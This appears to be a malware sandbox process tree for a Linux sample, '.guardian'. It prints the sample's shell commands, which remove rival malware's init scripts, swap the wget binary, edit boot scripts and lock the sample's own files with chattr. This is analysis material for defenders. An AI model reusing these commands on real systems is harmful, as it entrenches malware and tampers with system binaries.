                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1194
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1195
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1197
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1198
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1199
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1201
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1202
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1203
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1269
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1270
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1271
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1273
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1274
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1275
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1277
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1278
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1279
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1281
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1282
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1283
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1382
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1383
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1385
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1386
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1387
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1389
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1390
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1391
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1393
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1394
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1395
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1397
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads MAC address of network interface
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads hardware information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:945
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:962
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:963
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:965
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:966
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:967
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:969
